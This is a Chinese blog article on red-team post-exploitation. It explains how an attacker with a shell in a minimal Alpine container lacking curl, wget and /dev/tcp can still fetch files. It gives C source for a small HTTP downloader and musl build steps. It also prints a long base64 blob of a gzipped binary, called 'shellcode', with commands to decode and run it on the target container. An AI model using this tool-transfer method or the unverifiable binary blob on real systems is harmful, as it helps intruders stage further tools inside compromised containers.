网站首页 > 开源技术 正文
之前有文章分析过在Linux中没有curl和wget的情况下,使用exec指定/dev/tcp/ip/port的方式下载文件。但是在容器场景下,是没有/dev/tcp这类伪设备文件的,应该如何实现远程下载?
本文以alpine镜像为例,alpine作为最轻量的容器镜像,只有5m左右。所以导致很多常用的命令都没有,包括curl和wget,并且容器中是没有 /dev/tcp 设备的,exec的trick也没法使用。
文章目录
- 场景分析如何判断一个容器的源镜像?
- 对抗思路
- 编译下载工具的坑编译过程
- gzip压缩shellcode
- 在目标容器上还原二进制文件
- 补充
场景分析
在攻防对抗中,我们通常会拿到容器的权限,可能是命令执行或者反弹shell。但是容器中没有任何可以下载的工具,也无法通过apk去安装命令。
如何判断一个容器的源镜像?
cat /etc/os-release
/etc/os-release 可判断容器所以使用镜像源。
对抗思路
既然没办法在容器内安装下载的命令工具,我们可以手动写一个编译好的下载工具到容器中。
这里我用C实现了一个最简单的文件下载工具,只支持http协议。
#include <arpa/inet.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, " C Downloader \n\n Usage: %s <url>\n only support http protocol \n", argv[0]);
return 1;
}
char *url = argv[1];
char *host_start = strstr(url, "http://");
if (host_start) {
host_start += 7;
} else {
host_start = url;
}
char *host = strtok(host_start, "/");
char *port_str = "80";
char *path = strtok(NULL, "");
char *colon = strchr(host, ':');
if (colon) {
*colon = '\0';
port_str = colon + 1;
}
int sockfd;
struct addrinfo hints, *servinfo, *p;
int rv;
char request[256];
char buffer[1024];
int file;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if ((rv = getaddrinfo(host, port_str, &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return 1;
}
for (p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
perror("socket");
continue;
}
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
perror("connect");
continue;
}
break;
}
if (p == NULL) {
fprintf(stderr, "failed to connect\n");
return 2;
}
freeaddrinfo(servinfo);
snprintf(request, sizeof(request), "GET /%s HTTP/1.1\r\nHost: %s:%s\r\nConnection: close\r\n\r\n", path, host, port_str);
send(sockfd, request, strlen(request), 0);
file = open("downloaded_file", O_WRONLY | O_CREAT | O_TRUNC, 0644);
int received;
int header_end = 0;
while ((received = recv(sockfd, buffer, sizeof(buffer), 0)) > 0) {
if (!header_end) {
char *header_end_ptr = strstr(buffer, "\r\n\r\n");
if (header_end_ptr) {
header_end = 1;
write(file, header_end_ptr + 4, received - (header_end_ptr - buffer) - 4);
}
} else {
write(file, buffer, received);
}
}
close(file);
close(sockfd);
return 0;
}
编译下载工具的坑
我们需要编译上面这段C的代码,这里要 注意 宿主机 和 alpine 容器 中的动态链接库是不同的。
这里我们用gcc编译同样的C代码。
gcc -Os -s -fdata-sections -ffunction-sections -flto -Wl,--gc-sections -o downloader downloader.c
所以在宿主机上编译的程序是没办法在容器中运行的,需要在容器中重新编译!
因为Alpine Linux使用musl libc作为默认的C库,所以在Alpine环境中编译的程序将自动链接到musl libc。
要在Alpine Linux上编译一个依赖于musl libc库的二进制文件,需要使用一个Alpine Linux环境,并确保已安装必要的编译工具。
编译过程
docker run --name apline -dit alpine
//进入容器中
docker exec -it apline sh
//安装gcc
apk add --no-cache build-base
//编译工具代码
gcc -Os -s -fdata-sections -ffunction-sections -flto -Wl,--gc-sections -o downloader downloader.c
gzip压缩shellcode
编译好的二进制文件通常有十几kb,虽然算不上大但还是会影响我们传输。可以通过gzip将体积压缩到最小。
gzip压缩后已经到了可接受的长度。这里我把压缩后的shellcode放在下面。
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
在目标容器上还原二进制文件
/ # cat output | base64 -d >new.gz
/ # gzip -d new.gz
/ # chmod +x new
/ # ./new
C Downloader
Usage: ./new <url>
only support http protocol
补充
部分alpine镜像其实是带有busybox的,如果有就没有必要那么麻烦直接用busybox种的curl或wget进行下载即可。
猜你喜欢
- 2025-01-17 借助 Terraform 功能协调部署 CI/CD 流水线-Part 2
- 2025-01-17 (超文本传输协议)什么是http协议?
- 2025-01-17 ADG (Active Data Guard) 数据容灾架构下,如何配置 Druid 连接池?
- 2025-01-17 Cadence Allegro 16.6操作技巧_ 如何布线
- 2025-01-17 求生之路2服务器搭建插件安装及详细的游戏参数配置教程windows
- 2025-01-17 自建dns获取域名解析与证书告警
- 2025-01-17 零基础学习网站必知—http协议等资料大全
- 2025-01-17 F5安全的多云网络解决方案 助力简化分布式云环境的网络和应用连接
- 2025-01-17 推荐:PaGoDo一款功能强大的被动式Google Dork
- 2025-01-17 netstat命令详解
你 发表评论:
欢迎- 最近发表
-
- 6月游戏推荐(二)(6月份新出的游戏)
- 37【源码】数据可视化:基于 Echarts + Python 动态实时大屏
- Kubernetes Kube-Proxy 组件 IPVS 模式工作原理及常用故障排查
- 《茶余饭后顶级英文歌曲精选》(茶余饭后的经典句子)
- rainx和MediaTek携手推出101产品生态,为5G FWA提供创新
- KAPITAL 推出蓝染风格 Aloha Shirt 系列
- 欧美经典怀旧歌曲Free loop-管不住的音符
- Mac 下php5.3-7.0的二进制包 ── PHP-OS
- 如何把一个Python应用程序装进Docker
- 为何推荐 JsonTree.js 做 JSON 可视化?
- 标签列表
-
- jdk (81)
- putty (66)
- rufus (78)
- 内网穿透 (89)
- okhttp (70)
- powertoys (74)
- windowsterminal (81)
- netcat (65)
- ghostscript (65)
- veracrypt (65)
- asp.netcore (70)
- wrk (67)
- aspose.words (80)
- itk (80)
- ajaxfileupload.js (66)
- sqlhelper (67)
- express.js (67)
- phpmailer (67)
- xjar (70)
- redisclient (78)
- wakeonlan (66)
- tinygo (85)
- startbbs (72)
- webftp (82)
- vsvim (79)
本文暂时没有评论,来添加一个吧(●'◡'●)